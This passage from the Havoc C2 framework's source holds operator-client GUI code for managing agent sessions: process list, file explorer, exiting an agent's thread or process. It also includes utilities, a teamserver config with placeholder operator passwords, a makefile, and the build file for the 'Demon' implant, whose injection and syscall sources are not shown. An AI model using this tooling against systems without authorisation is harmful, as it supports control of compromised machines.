HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i ); return; } } HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() ); Session.InteractedWidget->lineEdit->setFocus(); } } } ); } void UserInterface::Widgets::TeamserverTabSession::handleDemonContextMenu( const QPoint &pos ) { if ( ! SessionTableWidget->SessionTableWidget->itemAt( pos ) ) { return; } auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); auto SessionID = SessionTableWidget->SessionTableWidget->item( SessionTableWidget->SessionTableWidget->currentRow(), 0 )->text(); auto Agent = Util::SessionItem{}; for ( auto s : HavocX::Teamserver.Sessions ) { if ( s.Name.compare( SessionID ) == 0 ) { Agent = s; break; } } auto separator = new QAction(); auto separator2 = new QAction(); auto separator3 = new QAction(); auto separator4 = new QAction(); separator->setSeparator( true ); separator2->setSeparator( true ); separator3->setSeparator( true ); separator4->setSeparator( true ); auto SessionMenu = QMenu(); auto SessionExplorer = QMenu( "Explorer" ); auto ExitMenu = QMenu( "Exit" ); auto ColorMenu = QMenu( "Color" ); ColorMenu.addAction( "Reset" ); ColorMenu.addAction( "Red" ); ColorMenu.addAction( "Blue" ); ColorMenu.addAction( "Yellow" ); ColorMenu.addAction( "Pink" ); ColorMenu.addAction( "Green" ); ColorMenu.addAction( "Purple" ); ColorMenu.addAction( "Orange" ); ColorMenu.setStyleSheet( MenuStyle ); SessionExplorer.addAction( "Process List" ); SessionExplorer.addAction( "File Explorer" ); SessionExplorer.setStyleSheet( MenuStyle ); ExitMenu.addAction( "Thread" ); ExitMenu.addAction( "Process" ); ExitMenu.setStyleSheet( MenuStyle ); SessionMenu.addAction( "Interact" ); SessionMenu.addAction( separator ); if ( Agent.MagicValue == DemonMagicValue ) { SessionMenu.addAction( SessionExplorer.menuAction() ); SessionMenu.addAction( separator2 ); } if ( Agent.Marked.compare( "Dead" ) != 0 ) SessionMenu.addAction( "Mark as Dead" ); else SessionMenu.addAction( "Mark as Alive" ); SessionMenu.addAction( ColorMenu.menuAction() ); SessionMenu.addAction( "Export" ); SessionMenu.addAction( separator3 ); SessionMenu.addAction( "Remove" ); if ( Agent.MagicValue == DemonMagicValue ) { SessionMenu.addAction( ExitMenu.menuAction() ); } else { SessionMenu.addAction( "Exit" ); } SessionMenu.setStyleSheet( MenuStyle ); auto *action = SessionMenu.exec( SessionTableWidget->SessionTableWidget->horizontalHeader()->viewport()->mapToGlobal( pos ) ); if ( action ) { for ( auto& Session : HavocX::Teamserver.Sessions ) { // TODO: make that on Session receive if ( Session.InteractedWidget == nullptr ) { Session.InteractedWidget = new UserInterface::Widgets::DemonInteracted; Session.InteractedWidget->SessionInfo = Session; Session.InteractedWidget->TeamserverName = HavocX::Teamserver.Name; Session.InteractedWidget->setupUi( new QWidget ); } if ( Session.Name.compare( SessionID ) == 0 ) { if ( action->text().compare( "Interact" ) == 0 ) { auto tabName = "[" + Session.Name + "] " + Session.User + "/" + Session.Computer; for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ ) { if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName ) { HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i ); return; } } HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() ); Session.InteractedWidget->lineEdit->setFocus(); } else if ( action->text().compare( "Red" ) == 0 || action->text().compare( "Blue" ) == 0 || action->text().compare( "Pink" ) == 0 || action->text().compare( "Yellow" ) == 0 || action->text().compare( "Green" ) == 0 || action->text().compare( "Purple" ) == 0 || action->text().compare( "Orange" ) == 0 || action->text().compare( "Reset" ) == 0 ){ for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); ++i ){ auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item(i, 0)->text(); if(AgentID.compare( SessionID ) == 0 ) { QColor CurrentColor; if( action->text().compare("Red") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionRed ); else if( action->text().compare("Blue") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionCyan ); else if( action->text().compare("Pink") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionPink ); else if( action->text().compare("Yellow") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionYellow ); else if( action->text().compare("Green") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionGreen ); else if( action->text().compare("Purple") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionPurple ); else if( action->text().compare("Orange") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionOrange ); else CurrentColor = QColor( Util::ColorText::Colors::Hex::Background ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item(i, j)->setBackground( CurrentColor ); } } } } else if ( action->text().compare( "Mark as Dead" ) == 0 || action->text().compare( "Mark as Alive" ) == 0 ) { for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( AgentID.compare( SessionID ) == 0 ) { auto Package = new Util::Packager::Package; Package->Head = Util::Packager::Head_t { .Event= Util::Packager::Session::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; auto Marked = QString(); if ( action->text().compare( "Mark as Alive" ) == 0 ) { Marked = "Alive"; Session.Marked = Marked; auto Icon = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( Session.OS, true ) : WinVersionIcon( Session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( action->text().compare( "Mark as Dead" ) == 0 ) { Marked = "Dead"; Session.Marked = Marked; HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } Package->Body = Util::Packager::Body_t { .SubEvent = 0x5, .Info = { { "AgentID", AgentID.toStdString() }, { "Marked", Marked.toStdString() }, } }; HavocX::Connector->SendPackage( Package ); } } } else if ( action->text().compare( "Export" ) == 0 ) { Session.Export(); } else if ( action->text().compare( "Remove" ) == 0 ) { auto SessionID = SessionTableWidget->SessionTableWidget->item( SessionTableWidget->SessionTableWidget->currentRow(), 0 )->text(); for ( auto & Session : HavocX::Teamserver.Sessions ) { if ( SessionID.compare( Session.Name ) == 0 ) { SessionTableWidget->SessionTableWidget->removeRow( SessionTableWidget->SessionTableWidget->currentRow() ); HavocX::Teamserver.TabSession->SessionGraphWidget->GraphNodeRemove( Session ); } } } else if ( action->text().compare( "Thread" ) == 0 || action->text().compare( "Process" ) == 0 ) { Session.InteractedWidget->AppendText( "exit " + action->text().toLower() ); } if ( Session.MagicValue == DemonMagicValue ) { if ( action->text().compare( "Process List" ) == 0 ) { auto TabName = QString( "[" + SessionID + "] Process List" ); if ( Session.ProcessList == nullptr ) { Session.ProcessList = new UserInterface::Widgets::ProcessList; Session.ProcessList->setupUi( new QWidget ); Session.ProcessList->Session = Session; Session.ProcessList->Teamserver = HavocX::Teamserver.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); } } else if ( action->text().compare( "File Explorer" ) == 0 ) { auto TabName = QString( "[" + SessionID + "] File Explorer" ); if ( Session.FileBrowser == nullptr ) { Session.FileBrowser = new FileBrowser; Session.FileBrowser->setupUi( new QWidget ); Session.FileBrowser->SessionID = Session.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", "." ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); } } } } } } delete separator; delete separator2; delete separator3; delete separator4; } void UserInterface::Widgets::TeamserverTabSession::NewBottomTab( QWidget* TabWidget, const string& TitleName, const QString IconPath ) const { int id = 0; if ( tabWidget->count() == 0 ) { splitter_TopBot->setSizes( QList() << 100 << 200 ); splitter_TopBot->setStyleSheet( "" ); } else if ( tabWidget->count() == 1 ) tabWidget->setMovable( true ); tabWidget->setTabsClosable( true ); id = tabWidget->addTab( TabWidget, TitleName.c_str() ); tabWidget->setIconSize( QSize( 15, 15 ) ); tabWidget->setCurrentIndex( id ); } void UserInterface::Widgets::TeamserverTabSession::NewWidgetTab( QWidget *TabWidget, const std::string &TitleName ) const { if ( tabWidgetSmall->count() == 0 ) { splitter_SessionAndTabs->setSizes( QList() << 200 << 10 ); splitter_SessionAndTabs->setStyleSheet( "" ); splitter_SessionAndTabs->handle( 1 )->setEnabled( true ); splitter_SessionAndTabs->handle( 1 )->setCursor( Qt::SplitHCursor ); } else if ( tabWidgetSmall->count() == 1 ) { tabWidgetSmall->setMovable( true ); } tabWidgetSmall->setTabsClosable( true ); tabWidget->setCurrentIndex( tabWidgetSmall->addTab( TabWidget, TitleName.c_str() ) ); } void UserInterface::Widgets::TeamserverTabSession::removeTabSmall( int index ) const { if ( index == -1 ) { return; } tabWidgetSmall->removeTab( index ); if ( tabWidgetSmall->count() == 0 ) { splitter_SessionAndTabs->setSizes( QList() << 0 ); splitter_SessionAndTabs->setStyleSheet( "QSplitter::handle { image: url(images/notExists.png); }" ); splitter_SessionAndTabs->handle( 1 )->setEnabled( false ); splitter_SessionAndTabs->handle( 1 )->setCursor( Qt::ArrowCursor ); } else if ( tabWidgetSmall->count() == 1 ) { tabWidgetSmall->setMovable( false ); } } havoc-0.6~git20240910.69ce17c/client/src/Util/000077500000000000000000000000001467014221700202515ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/Util/Base.cpp000066400000000000000000000130771467014221700216370ustar00rootroot00000000000000#include auto FileRead( const QString& FilePath ) -> QByteArray { auto Content = QByteArray( ); auto path = FilePath.toStdString(); if ( FilePath[ 0 ] != ':' ) { if ( ! QFile::exists( FilePath ) ) { spdlog::error( "Failed to find file: {}", path ); return nullptr; } } // Open File auto File = QFile( FilePath ); File.open( QIODevice::ReadOnly ); // Read everything into our byte array buffer Content = File.readAll(); // close file File.close(); return Content; } auto MessageBox( QString Title, QString Text, QMessageBox::Icon Icon ) -> void { auto box = QMessageBox(); box.setWindowTitle( Title ); box.setText( Text ); box.setIcon( Icon ); box.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); box.exec(); } auto WinVersionIcon( QString OSVersion, bool High ) -> QIcon { if ( OSVersion.startsWith( "Windows 10" ) || OSVersion.startsWith( "Windows Server 2019" )|| OSVersion.startsWith( "Windows 2019 Server" ) ) { spdlog::debug( "OSVersion is Windows 10" ); if ( High ) return QIcon( ":/images/win10-8-high" ); else return QIcon( ":/images/win10-8" ); } else if ( OSVersion.startsWith( "Windows XP" ) ) { spdlog::debug( "OSVersion is Windows XP" ); if ( High ) return QIcon( ":/images/winxp-high" ); else return QIcon( ":/images/winxp" ); } if ( OSVersion.startsWith( "Windows 8" ) || OSVersion.startsWith( "Windows Server 2012" ) ) { spdlog::debug( "OSVersion is Windows 8" ); if ( High ) return QIcon( ":/images/win10-8-high" ); else return QIcon( ":/images/win10-8" ); } if ( OSVersion.startsWith( "Windows 11" ) ) { spdlog::debug( "OSVersion is Windows 11" ); if ( High ) return QIcon( ":/images/win11-high" ); else return QIcon( ":/images/win11" ); } if ( OSVersion.startsWith( "Windows 7" ) || OSVersion.startsWith( "Windows Vista" ) ) { spdlog::debug( "OSVersion is Windows 7 or Vista" ); if ( High ) return QIcon( ":/images/win7-vista-high" ); else return QIcon( ":/images/win7-vista" ); } if ( OSVersion.startsWith( "MacOS" ) ) { spdlog::debug( "OSVersion is MacOS" ); if ( High ) return QIcon( ":/images/macos-high" ); else return QIcon( ":/images/macos" ); } if ( OSVersion.startsWith( "Linux" ) ) { spdlog::debug( "OSVersion is Linux" ); if ( High ) return QIcon( ":/images/linux-high" ); else return QIcon( ":/images/linux" ); } else { if ( High ) return QIcon( ":/images/unknown-high" ); else return QIcon( ":/images/unknown" ); } } auto WinVersionImage( QString OSVersion, bool High ) -> QImage { if ( OSVersion.startsWith( "Windows 10" ) ) { spdlog::debug( "OSVersion is Windows 10" ); if ( High ) return QImage( ":/images/win10-8-high" ); else return QImage( ":/images/win10-8" ); } else if ( OSVersion.startsWith( "Windows XP" ) ) { spdlog::debug( "OSVersion is Windows XP" ); if ( High ) return QImage( ":/images/winxp-high" ); else return QImage( ":/images/winxp" ); } if ( OSVersion.startsWith( "Windows 8" ) ) { spdlog::debug( "OSVersion is Windows 8" ); if ( High ) return QImage( ":/images/win10-8-high" ); else return QImage( ":/images/win10-8" ); } if ( OSVersion.startsWith( "Windows 11" ) ) { spdlog::debug( "OSVersion is Windows 11" ); if ( High ) return QImage( ":/images/win11-high" ); else return QImage( ":/images/win11" ); } if ( OSVersion.startsWith( "Windows 7" ) || OSVersion.startsWith( "Windows Vista" ) ) { spdlog::debug( "OSVersion is Windows 7 or Vista" ); if ( High ) return QImage( ":/images/win7-vista-high" ); else return QImage( ":/images/win7-vista" ); } if ( OSVersion.startsWith( "MacOS" ) ) { spdlog::debug( "OSVersion is MacOS" ); if ( High ) return QImage( ":/images/macos-high" ); else return QImage( ":/images/macos" ); } if ( OSVersion.startsWith( "Linux" ) ) { spdlog::debug( "OSVersion is Linux" ); if ( High ) return QImage( ":/images/linux-high" ); else return QImage( ":/images/linux" ); } else { if ( High ) return QImage( ":/images/unknown-high" ); else return QImage( ":/images/unknown" ); } } auto CurrentDateTime( void ) -> QString { return ( QDateTime::currentDateTime().toString( "dd/MM/yyyy" ) + " " + CurrentTime() ); } auto CurrentTime( void ) -> QString { return ( QTime::currentTime().toString( "hh:mm:ss" ) ); } auto GrayScale( QImage image ) -> QImage { auto im = image.convertToFormat( QImage::Format_ARGB32 ); for ( int y = 0; y < im.height(); ++y ) { auto scanLine = ( QRgb* ) im.scanLine( y ); for ( int x = 0; x < im.width(); ++x ) { auto pixel = *scanLine; auto ci = uint( qGray( pixel ) ); *scanLine = qRgba( ci, ci, ci, qAlpha( pixel ) / 3 ); ++scanLine; } } return im; }havoc-0.6~git20240910.69ce17c/client/src/Util/Base64.cpp000066400000000000000000000026111467014221700220010ustar00rootroot00000000000000 #include static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/"; std::string HavocNamespace::Util::base64_encode(const char* buf, unsigned int bufLen) { std::string ret; int i = 0; int j = 0; char char_array_3[3]; char char_array_4[4]; while (bufLen--) { char_array_3[i++] = *(buf++); if (i == 3) { char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for(i = 0; (i <4) ; i++) ret += base64_chars[char_array_4[i]]; i = 0; } } if (i) { for(j = i; j < 3; j++) char_array_3[j] = '\0'; char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for (j = 0; (j < i + 1); j++) ret += base64_chars[char_array_4[j]]; while((i++ < 3)) ret += '='; } return ret; } havoc-0.6~git20240910.69ce17c/client/src/Util/ColorText.cpp000066400000000000000000000164741467014221700227140ustar00rootroot00000000000000#include QString HavocNamespace::Util::ColorText::Colors::Hex::Background = "#282a36"; QString HavocNamespace::Util::ColorText::Colors::Hex::Foreground = "#f8f8f2"; QString HavocNamespace::Util::ColorText::Colors::Hex::Comment = "#6272a4"; QString HavocNamespace::Util::ColorText::Colors::Hex::CurrentLine = "#44475a"; QString HavocNamespace::Util::ColorText::Colors::Hex::Cyan = "#8be9fd"; QString HavocNamespace::Util::ColorText::Colors::Hex::Green = "#50fa7b"; QString HavocNamespace::Util::ColorText::Colors::Hex::Orange = "#ffb86c"; QString HavocNamespace::Util::ColorText::Colors::Hex::Pink = "#ff79c6"; QString HavocNamespace::Util::ColorText::Colors::Hex::Purple = "#bd93f9"; QString HavocNamespace::Util::ColorText::Colors::Hex::Red = "#ff5555"; QString HavocNamespace::Util::ColorText::Colors::Hex::Yellow = "#f1fa8c"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionCyan = "#618bac"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionGreen = "#1C5F11"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionOrange = "#ac7420"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionPink = "#c33fb6"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionPurple = "#36365b"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionRed = "#5b3d3e"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionYellow = "#a59220"; void HavocNamespace::Util::ColorText::SetDraculaDark() { HavocNamespace::Util::ColorText::Colors::Hex::Background = "#282a36"; HavocNamespace::Util::ColorText::Colors::Hex::Foreground = "#f8f8f2"; HavocNamespace::Util::ColorText::Colors::Hex::Comment = "#6272a4"; HavocNamespace::Util::ColorText::Colors::Hex::CurrentLine = "#44475a"; HavocNamespace::Util::ColorText::Colors::Hex::Cyan = "#8be9fd"; HavocNamespace::Util::ColorText::Colors::Hex::Green = "#50fa7b"; HavocNamespace::Util::ColorText::Colors::Hex::Orange = "#ffb86c"; HavocNamespace::Util::ColorText::Colors::Hex::Pink = "#ff79c6"; HavocNamespace::Util::ColorText::Colors::Hex::Purple = "#bd93f9"; HavocNamespace::Util::ColorText::Colors::Hex::Red = "#ff5555"; HavocNamespace::Util::ColorText::Colors::Hex::Yellow = "#f1fa8c"; } void HavocNamespace::Util::ColorText::SetDraculaLight() { // TODO: get white theme } QString HavocNamespace::Util::ColorText::Color(const QString& color, const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Background(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Foreground(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Comment(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Cyan(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Green(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Orange(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Pink(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Purple(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Red(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Yellow(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Bold(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Underline(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineBackground(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineForeground(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineComment(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineCyan(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineGreen(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineOrange(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlinePink(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlinePurple(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineRed(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineYellow(const QString &text) { return "" + text.toHtmlEscaped() + ""; } havoc-0.6~git20240910.69ce17c/client/src/global.cc000066400000000000000000000107611467014221700211100ustar00rootroot00000000000000#include #include #include #include using namespace std; using namespace HavocNamespace; using namespace HavocNamespace::HavocSpace; string HavocNamespace::Version = "0.7"; string HavocNamespace::CodeName = "Bites The Dust"; // Global Variables in the Havoc Namespace HavocSpace::Havoc* HavocNamespace::HavocApplication; Util::ConnectionInfo HavocX::Teamserver; HavocNamespace::Connector* HavocX::Connector; HavocNamespace::UserInterface::HavocUi* HavocX::HavocUserInterface; bool HavocX::DebugMode = false; bool HavocX::GateGUI = false; PyObject* HavocX::callbackGate = nullptr; PyObject* HavocX::callbackMessage = nullptr; QString HavocSpace::Listener::PayloadHTTPS = "Https"; QString HavocSpace::Listener::PayloadHTTP = "Http"; QString HavocSpace::Listener::PayloadSMB = "Smb"; QString HavocSpace::Listener::PayloadExternal = "External"; std::string Util::gen_random( const int len ) { auto str = std::string( "0123456789ABCDEF" ); auto rd = std::random_device(); auto gen = std::mt19937( rd() ); std::shuffle( str.begin(), str.end(), gen ); return str.substr( 0, len ); } void Util::SessionItem::Export() { auto FileDialog = QFileDialog(); auto Filename = QUrl(); auto Style = FileRead( ":/stylesheets/Dialogs/FileDialog" ).toStdString(); Style.erase( std::remove( Style.begin(), Style.end(), '\n' ), Style.end() ); FileDialog.setStyleSheet( Style.c_str() ); FileDialog.setAcceptMode( QFileDialog::AcceptSave ); FileDialog.setDirectory( QDir::homePath() ); FileDialog.selectFile( "Session_data_" + Name + ".json" ); if ( FileDialog.exec() == QFileDialog::Accepted ) { Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile(); if ( ! Filename.toString().isNull() ) { auto file = QFile( Filename.toString() ); auto messageBox = QMessageBox( ); if ( file.open( QIODevice::ReadWrite ) ) { auto SessionData = QJsonObject(); SessionData.insert( "AgentID", QJsonValue::fromVariant( Name ) ); SessionData.insert( "MagicValue", QJsonValue::fromVariant( (int) MagicValue ) ); SessionData.insert( "ExternalIP", QJsonValue::fromVariant( External ) ); SessionData.insert( "InternalIP", QJsonValue::fromVariant( Internal ) ); SessionData.insert( "Listener", QJsonValue::fromVariant( Listener ) ); SessionData.insert( "User", QJsonValue::fromVariant( User ) ); SessionData.insert( "Computer", QJsonValue::fromVariant( Computer ) ); SessionData.insert( "Domain", QJsonValue::fromVariant( Domain ) ); SessionData.insert( "OS", QJsonValue::fromVariant( OS ) ); SessionData.insert( "OSBuild", QJsonValue::fromVariant( OSBuild ) ); SessionData.insert( "OSArch", QJsonValue::fromVariant( OSArch ) ); SessionData.insert( "ProcessName", QJsonValue::fromVariant( Process ) ); SessionData.insert( "ProcessID", QJsonValue::fromVariant( PID ) ); SessionData.insert( "ProcessArch", QJsonValue::fromVariant( Arch ) ); SessionData.insert( "ProcessElevated", QJsonValue::fromVariant( Elevated ) ); SessionData.insert( "PivotParent", QJsonValue::fromVariant( PivotParent ) ); SessionData.insert( "First Callback", QJsonValue::fromVariant( First ) ); SessionData.insert( "Last Callback", QJsonValue::fromVariant( Last ) ); file.write( QJsonDocument( SessionData ).toJson( QJsonDocument::Indented ) ); } else { auto path = Filename.toString().toStdString(); spdlog::error("Couldn't write to file {}", path ); } file.close(); messageBox.setWindowTitle( "Session Exported" ); messageBox.setText( "Path: " + Filename.toString() ); messageBox.setIcon( QMessageBox::Information ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); // messageBox.setMaximumSize( QSize( 500, 500 ) ); messageBox.exec(); } } } havoc-0.6~git20240910.69ce17c/data/000077500000000000000000000000001467014221700162005ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/data/havoc.yaotl000066400000000000000000000004731467014221700203560ustar00rootroot00000000000000Teamserver { Host = "0.0.0.0" Port = 40056 } Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } Demon { Sleep = 2 Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } } havoc-0.6~git20240910.69ce17c/makefile000066400000000000000000000031221467014221700167650ustar00rootroot00000000000000ifndef VERBOSE .SILENT: endif # main build target. compiles the teamserver and client all: ts-build client-build # teamserver building target ts-build: @ echo "[*] building teamserver" @ ./teamserver/Install.sh @ cd teamserver; GO111MODULE="on" go build -ldflags="-s -w -X cmd.VersionCommit=$(git rev-parse HEAD)" -o ../havoc main.go @ sudo setcap 'cap_net_bind_service=+ep' havoc # this allows you to run the server as a regular user dev-ts-compile: @ echo "[*] compile teamserver" @ cd teamserver; GO111MODULE="on" go build -ldflags="-s -w -X cmd.VersionCommit=$(git rev-parse HEAD)" -o ../havoc main.go ts-cleanup: @ echo "[*] teamserver cleanup" @ rm -rf ./teamserver/bin @ rm -rf ./data/loot @ rm -rf ./data/x86_64-w64-mingw32-cross @ rm -rf ./data/havoc.db @ rm -rf ./data/server.* @ rm -rf ./teamserver/.idea @ rm -rf ./havoc # client building and cleanup targets client-build: @ echo "[*] building client" @ git submodule update --init --recursive @ mkdir client/Build; cd client/Build; cmake .. @ if [ -d "client/Modules" ]; then echo "Modules installed"; else git clone https://github.com/HavocFramework/Modules client/Modules --single-branch --branch `git rev-parse --abbrev-ref HEAD`; fi @ cmake --build client/Build -- -j 4 client-cleanup: @ echo "[*] client cleanup" @ rm -rf ./client/Build @ rm -rf ./client/Bin/* @ rm -rf ./client/Data/database.db @ rm -rf ./client/.idea @ rm -rf ./client/cmake-build-debug @ rm -rf ./client/Havoc @ rm -rf ./client/Modules # cleanup target clean: ts-cleanup client-cleanup @ rm -rf ./data/*.db @ rm -rf payloads/Demon/.idea havoc-0.6~git20240910.69ce17c/payloads/000077500000000000000000000000001467014221700171035ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/000077500000000000000000000000001467014221700201455ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/CMakeLists.txt000066400000000000000000000042421467014221700227070ustar00rootroot00000000000000cmake_minimum_required(VERSION 3.19) project( Demon C ) set( PROJECT_NAME Demon ) # set compiler settings set( CMAKE_C_STANDARD 11 ) set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc ) set( CMAKE_C_FLAGS "-Wl,--pic-executable,-e,main -Wl,-Bstatic -s -w -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libgcc -Wl,-Bstatic " ) # adding demon sources include_directories( include ) set( COMMON_SOURCE src/core/Command.c src/core/Win32.c src/core/MiniStd.c src/core/Token.c src/core/Package.c src/core/Obf.c src/core/Spoof.c src/core/Syscalls.c src/core/SysNative.c src/core/Command.c src/core/Transport.c src/core/TransportHttp.c src/core/TransportSmb.c src/core/Parser.c src/core/Pivot.c src/core/Jobs.c src/core/Download.c src/core/Dotnet.c src/core/Socket.c src/core/Kerberos.c src/core/Thread.c src/core/Memory.c src/core/Runtime.c src/core/HwBpEngine.c src/core/HwBpExceptions.c src/core/CoffeeLdr.c src/core/ObjectApi.c ) set( INJECT_SOURCE src/inject/Inject.c src/inject/InjectUtil.c ) set( CRYPT_SOURCE src/crypt/AesCrypt.c ) set( MAIN_SOURCE # Demon Main entrypoint src/Demon.c # windows exe src/main/MainExe.c # windows dll src/main/MainDll.c # windows service src/main/MainSvc.c ) # preprocessor flags add_compile_definitions( DEBUG ) add_compile_definitions( CONFIG_BYTES={} ) add_compile_definitions( CONFIG_SIZE=1024 ) add_compile_definitions( CONFIG_KEY_BYTES={} ) add_compile_definitions( CONFIG_KEY_SIZE=16 ) add_compile_definitions( SERVICE_NAME="DemonService" ) add_compile_definitions( TRANSPORT_HTTP ) add_compile_definitions( TRANSPORT_SMB ) add_compile_definitions( AES256 ) # linking library link_libraries( netapi32 ws2_32 wsock32 wtsapi32 iphlpapi mscoree mscorlib ) # add compiled demons 